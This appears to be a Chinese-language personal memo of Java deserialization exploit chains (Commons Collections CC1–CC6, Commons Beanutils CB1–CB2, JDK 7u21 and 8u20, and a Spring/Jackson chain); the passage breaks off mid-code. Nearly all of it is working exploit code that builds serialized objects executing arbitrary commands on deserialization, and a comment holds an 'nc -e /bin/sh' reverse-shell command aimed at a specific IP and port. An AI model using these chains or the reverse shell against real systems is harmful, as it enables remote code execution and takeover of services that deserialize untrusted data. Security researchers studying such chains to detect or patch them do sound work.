JAVA代码备忘录
反序列化gadget合集
CC系列
CC1
jdk版本:jdk8u71以下
CC库版本:3.2.1
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}
public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static void main(String[] args) throws Exception {
// InvokerTransformer obj = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// Runtime r = Runtime.getRuntime();
// obj.transform(r);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","321");//构建好Map对象用于遍历
// Map<Object,Object> tfmap = TransformedMap.decorate(map,null,obj);
// for(Map.Entry entry:tfmap.entrySet()){
// entry.setValue(r);
// } //希望执行的CC包入口函数
Class runtimeClass = Runtime.class;
// //获得getruntime方法
// Object getruntime = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
//
// //使用getRuntime方法获得currentRuntime
// Object currentRuntime = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
//
// //使用currenRuntime执行exec("calc")
// Object o = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
// chtfm.transform(runtimeClass);
Map<Object,Object> tfmap = TransformedMap.decorate(map,null,chtfm);
//// Map.entry(any,chtfm).setValue(runtimeclass)
//
//
Class aicls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aicons = aicls.getDeclaredConstructor(Class.class,Map.class);
aicons.setAccessible(true);
Object aiobj = aicons.newInstance(Target.class,tfmap);
serialize(aiobj);
unserialize();
}
}
CC2
CC库版本:4.0
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}
public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception {
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,newf);
}//利用反射设置TemplatesImpl的私有属性
public static void main(String[] args) throws Exception{
//链子1
// Class runtimeClass = Runtime.class;
// Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
// ChainedTransformer chtfm = new ChainedTransformer(transes);
//// chtfm.transform(runtimeClass);
// TransformingComparator tc = new TransformingComparator(chtfm);
// tc.compare(runtimeClass,runtimeClass);
////
// PriorityQueue pq = new PriorityQueue(1);
//
// pq.add(1);
// pq.add(2);
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,tc);
// serialize(pq);
// unserialize();
//链子2
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);
// ivt.transform(tempobj);
// PriorityQueue pq = new PriorityQueue();
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,ivt);
TransformingComparator tc = new TransformingComparator(ivt);
PriorityQueue pq = new PriorityQueue(tc);
Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});
Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);
serialize(pq);
unserialize();
}
}
CC3
jdk版本:jdk8u71以下
CC库版本:3.2.1
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
CC4
CC库版本:4.0
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections44444444");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
CC5
CC库版本:3.2.1
jdk<jdk8u71
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("sercc5.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
CC6
CC库版本:3.2.1
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Blog {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("2");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
in.readObject();
}
}
CB系列
CB1
所需库:CC3.2.1、CB1.9.2
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2 = ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct = pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2 = ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates, "_bytecodes", bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates, "_class", null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates, "_name", "test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());
BeanComparator beanComparator = new BeanComparator();
//设置getOutputProperties/newTransformer均可
setFieldValue(beanComparator,"property","outputProperties");
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",beanComparator);
//设置传递的队列元素,需要将templates对象传入
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(pq,"queue",list);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb1payload.ser"));
outputStream.writeObject(pq);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb1payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
CB2
利用版本:CB1.9.2,CB1.8.3
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2 = ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct = pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2 = ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates, "_bytecodes", bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates, "_class", null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates, "_name", "test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
setFieldValue(beanComparator,"property","outputProperties");
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",beanComparator);
//设置传递的队列元素,需要将templates对象传入
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(pq,"queue",list);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb1payload.ser"));
outputStream.writeObject(pq);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb1payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
jdk原生链
jdk7u21
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class ExploitOfJDK7u21 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl generateEvilTemplates() throws Exception {
// 生成恶意的 bytecodes
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractMethodError.class));
CtClass ctClass = pool.makeClass("JDK7u21Exploit");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
ctClass.makeClassInitializer().insertBefore(cmd);
byte[] ctClassBytes = ctClass.toBytecode();
byte[][] targetByteCodes = new byte[][]{ctClassBytes};
// 实例化类并设置属性
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "h3rmesk1t");
setFieldValue(templatesImpl, "_bytecodes", targetByteCodes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
return templatesImpl;
}
public static void exp() throws Exception {
TemplatesImpl templates = generateEvilTemplates();
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608", "zero");
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, hashMap);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(ExploitOfJDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
hashMap.put("f5a5a608", templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set); // 序列化set对象
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = (Object)ois.readObject();
ois.close();
}
public static void main(String[] args) {
try {
exp();
} catch (Exception e) {
e.printStackTrace();
}
}
}
jdk8u20
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.LinkedHashSet;
class SerializationUtil {
// 将字节数组写入文件
public static void writeFile(byte[] data, String fileName) throws Exception {
Files.write(Paths.get(fileName), data);
}
// 从文件中读取字节数组
public static byte[] readFile(String fileName) throws Exception {
return Files.readAllBytes(Paths.get(fileName));
}
// 反序列化字节数组
public static Object deserialize(byte[] data) throws Exception, ClassNotFoundException {
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}}
class ReflectionsUtil {
// 获取类的第一个构造函数
public static Constructor<?> getFirstCtor(Class<?> clazz) {
Constructor<?>[] constructors = clazz.getDeclaredConstructors();
if (constructors.length > 0) {
constructors[0].setAccessible(true); // 设置访问权限,确保可以访问私有构造函数
return constructors[0];
}
return null; // 如果没有构造函数,返回 null
}
}
class ByteUtil {
// 获取子数组在主数组中的索引
public static int getSubarrayIndex(byte[] array, byte[] subarray) {
for (int i = 0; i <= array.length - subarray.length; i++) {
boolean found = true;
for (int j = 0; j < subarray.length; j++) {
if (array[i + j] != subarray[j]) {
found = false;
break;
}
}
if (found) {
return i;
}
}
return -1; // 未找到时返回 -1
}
// 删除数组中指定位置的元素
public static byte[] deleteAt(byte[] array, int index) {
if (index < 0 || index >= array.length) {
throw new IndexOutOfBoundsException("Index out of range: " + index);
}
byte[] result = new byte[array.length - 1];
System.arraycopy(array, 0, result, 0, index); // 复制前部分
System.arraycopy(array, index + 1, result, index, array.length - index - 1); // 复制后部分
return result;
}
}
public class Poc {
public static Class newInvocationHandlerClass() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" +
" }",clazz);
clazz.addMethod(writeObject);
return clazz.toClass();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
Class ihClass = newInvocationHandlerClass();
InvocationHandler ih = (InvocationHandler) ReflectionsUtil.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());
Reflections.setFieldValue(ih,"type", Templates.class);
Templates proxy = Gadgets.createProxy(ih,Templates.class);
BeanContextSupport b = new BeanContextSupport();
Reflections.setFieldValue(b,"serializable",1);
HashMap tmpMap = new HashMap<>();
tmpMap.put(ih,null);
Reflections.setFieldValue(b,"children",tmpMap);
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
set.add(b);
set.add(templates);
set.add(proxy);
HashMap hm = new HashMap();
hm.put("f5a5a608",templates);
Reflections.setFieldValue(ih,"memberValues",hm);
byte[] ser = Serializer.serialize(set);
byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};
int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);
ser = ByteUtil.deleteAt(ser,i); // delete 0x78
ser = ByteUtil.deleteAt(ser,i); // delete 0x70
// 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错
// Deserializer.deserialize(ser);
SerializationUtil.writeFile(ser,"ser.txt");
byte[] bytes = SerializationUtil.readFile("ser.txt");
SerializationUtil.deserialize(bytes);
}
}
package org.example;
import static org.example.SerializationUtil.deserialize;
import static org.example.SerializationUtil.readFile;
public class Test2 {
public static void main(String[] args) throws Exception{
byte[] bytes = readFile("ser.txt");
deserialize(bytes);
}
}
spring-jackson链
spring版本:2.7.5 , 2.7.11 , 2.7.18
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class Test {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}
public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
//nc -e /bin/sh 121.199.39.4 3000
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}
public static String getb64(Object obj) throws Exception{
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(bout);
objout.writeObject(obj);
String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
return base64;
}
public static void main(String args[]) throws Exception{
//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());
// //不稳定的触发
// ObjectMapper objmapper = new ObjectMapper();
// ArrayNode arrayNode =objmapper.createArrayNode();
// arrayNode.addPOJO(tmp);
//
//
// BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
// Field f = BadAttributeValueExpException.class.getDeclaredField("val");
// f.setAccessible(true);
// f.set(ex,arrayNode);
//
// serialize(ex);
// System.out.println(getb64(ex));
// System.out.println(getb64(ex).length());
// unserialize();
//稳定触发
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);
BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
